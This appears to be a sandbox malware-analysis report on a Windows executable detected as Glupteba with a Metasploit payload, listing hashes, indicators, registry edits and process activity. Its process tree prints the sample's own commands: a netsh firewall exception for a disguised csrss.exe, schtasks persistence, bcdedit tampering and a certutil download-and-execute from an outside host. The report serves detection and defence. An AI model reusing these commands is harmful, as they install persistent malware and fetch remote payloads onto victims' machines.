Analysis
-
max time kernel
194s -
max time network
200s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
29-01-2023 18:01
Static task
static1
Behavioral task
behavioral1
Sample
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
Resource
win10v2004-20221111-en
General
-
Target
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
-
Size
3.9MB
-
MD5
8448f9442c842ab6786ff1952b8f478a
-
SHA1
5b4ae7c215765c3fbf5e56f127eaecff8715e2ad
-
SHA256
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90
-
SHA512
56d3c4dffa68daac1bae9241ab2f542747ac743766d61f91d87a57e7f2a66d3d94a46e82f94fcf7ea5f136e3049b641206709214a92f10579bc6a22be5ce0481
-
SSDEEP
49152:J5PcrbPqqUpkqxi32UPC4e0IOgzv3YF4zUw4JkfSinDDu+e/eCNVuyn9Vkdlo9CY:nqe1UC47Is4gfSupRPtUAbJTSM
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 10 IoCs
Processes:
resource yara_rule behavioral2/memory/3160-133-0x0000000003620000-0x0000000003E22000-memory.dmp family_glupteba behavioral2/memory/3160-134-0x0000000000400000-0x0000000002F5C000-memory.dmp family_glupteba behavioral2/memory/3160-136-0x0000000000400000-0x0000000002F5C000-memory.dmp family_glupteba behavioral2/memory/3160-138-0x0000000000400000-0x0000000002F5C000-memory.dmp family_glupteba behavioral2/memory/208-140-0x0000000000400000-0x0000000002F5C000-memory.dmp family_glupteba behavioral2/memory/208-143-0x0000000000400000-0x0000000002F5C000-memory.dmp family_glupteba behavioral2/memory/208-147-0x0000000000400000-0x0000000002F5C000-memory.dmp family_glupteba behavioral2/memory/2272-149-0x0000000003C00000-0x0000000004402000-memory.dmp family_glupteba behavioral2/memory/2272-150-0x0000000000400000-0x0000000002F5C000-memory.dmp family_glupteba behavioral2/memory/2272-152-0x0000000000400000-0x0000000002F5C000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 4252 created 3160 4252 svchost.exe 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe PID 4252 created 2272 4252 svchost.exe csrss.exe PID 4252 created 2272 4252 svchost.exe csrss.exe PID 4252 created 2272 4252 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 2272 csrss.exe 2220 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NamelessStar = "\"C:\\Windows\\rss\\csrss.exe\"" 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 3440 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exedescription ioc process File opened for modification C:\Windows\rss 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe File created C:\Windows\rss\csrss.exe 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.execsrss.exepid process 3160 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe 3160 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe 208 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe 208 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe 2272 csrss.exe 2272 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 3160 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe Token: SeImpersonatePrivilege 3160 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe Token: SeTcbPrivilege 4252 svchost.exe Token: SeTcbPrivilege 4252 svchost.exe Token: SeBackupPrivilege 4252 svchost.exe Token: SeRestorePrivilege 4252 svchost.exe Token: SeBackupPrivilege 4252 svchost.exe Token: SeRestorePrivilege 4252 svchost.exe Token: SeSystemEnvironmentPrivilege 2272 csrss.exe Token: SeBackupPrivilege 4252 svchost.exe Token: SeRestorePrivilege 4252 svchost.exe Token: SeBackupPrivilege 4252 svchost.exe Token: SeRestorePrivilege 4252 svchost.exe Token: SeBackupPrivilege 4252 svchost.exe Token: SeRestorePrivilege 4252 svchost.exe Token: SeBackupPrivilege 4252 svchost.exe Token: SeRestorePrivilege 4252 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exe324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.execmd.execsrss.exedescription pid process target process PID 4252 wrote to memory of 208 4252 svchost.exe 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe PID 4252 wrote to memory of 208 4252 svchost.exe 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe PID 4252 wrote to memory of 208 4252 svchost.exe 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe PID 208 wrote to memory of 4600 208 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe cmd.exe PID 208 wrote to memory of 4600 208 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe cmd.exe PID 4600 wrote to memory of 392 4600 cmd.exe netsh.exe PID 4600 wrote to memory of 392 4600 cmd.exe netsh.exe PID 208 wrote to memory of 2272 208 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe csrss.exe PID 208 wrote to memory of 2272 208 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe csrss.exe PID 208 wrote to memory of 2272 208 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe csrss.exe PID 4252 wrote to memory of 5036 4252 svchost.exe schtasks.exe PID 4252 wrote to memory of 5036 4252 svchost.exe schtasks.exe PID 4252 wrote to memory of 992 4252 svchost.exe schtasks.exe PID 4252 wrote to memory of 992 4252 svchost.exe schtasks.exe PID 4252 wrote to memory of 2220 4252 svchost.exe patch.exe PID 4252 wrote to memory of 2220 4252 svchost.exe patch.exe PID 2272 wrote to memory of 3440 2272 csrss.exe bcdedit.exe PID 2272 wrote to memory of 3440 2272 csrss.exe bcdedit.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe"C:\Users\Admin\AppData\Local\Temp\324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe"C:\Users\Admin\AppData\Local\Temp\324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /15-153⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD58448f9442c842ab6786ff1952b8f478a
SHA15b4ae7c215765c3fbf5e56f127eaecff8715e2ad
SHA256324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90
SHA51256d3c4dffa68daac1bae9241ab2f542747ac743766d61f91d87a57e7f2a66d3d94a46e82f94fcf7ea5f136e3049b641206709214a92f10579bc6a22be5ce0481
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD58448f9442c842ab6786ff1952b8f478a
SHA15b4ae7c215765c3fbf5e56f127eaecff8715e2ad
SHA256324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90
SHA51256d3c4dffa68daac1bae9241ab2f542747ac743766d61f91d87a57e7f2a66d3d94a46e82f94fcf7ea5f136e3049b641206709214a92f10579bc6a22be5ce0481
-
memory/208-143-0x0000000000400000-0x0000000002F5C000-memory.dmpFilesize
43.4MB
-
memory/208-147-0x0000000000400000-0x0000000002F5C000-memory.dmpFilesize
43.4MB
-
memory/208-137-0x0000000000000000-mapping.dmp
-
memory/208-139-0x000000000332B000-0x00000000036D2000-memory.dmpFilesize
3.7MB
-
memory/208-140-0x0000000000400000-0x0000000002F5C000-memory.dmpFilesize
43.4MB
-
memory/392-142-0x0000000000000000-mapping.dmp
-
memory/992-154-0x0000000000000000-mapping.dmp
-
memory/2220-155-0x0000000000000000-mapping.dmp
-
memory/2272-150-0x0000000000400000-0x0000000002F5C000-memory.dmpFilesize
43.4MB
-
memory/2272-149-0x0000000003C00000-0x0000000004402000-memory.dmpFilesize
8.0MB
-
memory/2272-152-0x0000000000400000-0x0000000002F5C000-memory.dmpFilesize
43.4MB
-
memory/2272-151-0x0000000003800000-0x0000000003BA7000-memory.dmpFilesize
3.7MB
-
memory/2272-144-0x0000000000000000-mapping.dmp
-
memory/2272-148-0x0000000003800000-0x0000000003BA7000-memory.dmpFilesize
3.7MB
-
memory/3160-132-0x0000000003270000-0x0000000003617000-memory.dmpFilesize
3.7MB
-
memory/3160-136-0x0000000000400000-0x0000000002F5C000-memory.dmpFilesize
43.4MB
-
memory/3160-138-0x0000000000400000-0x0000000002F5C000-memory.dmpFilesize
43.4MB
-
memory/3160-135-0x0000000003270000-0x0000000003617000-memory.dmpFilesize
3.7MB
-
memory/3160-134-0x0000000000400000-0x0000000002F5C000-memory.dmpFilesize
43.4MB
-
memory/3160-133-0x0000000003620000-0x0000000003E22000-memory.dmpFilesize
8.0MB
-
memory/3440-157-0x0000000000000000-mapping.dmp
-
memory/4600-141-0x0000000000000000-mapping.dmp
-
memory/5036-153-0x0000000000000000-mapping.dmp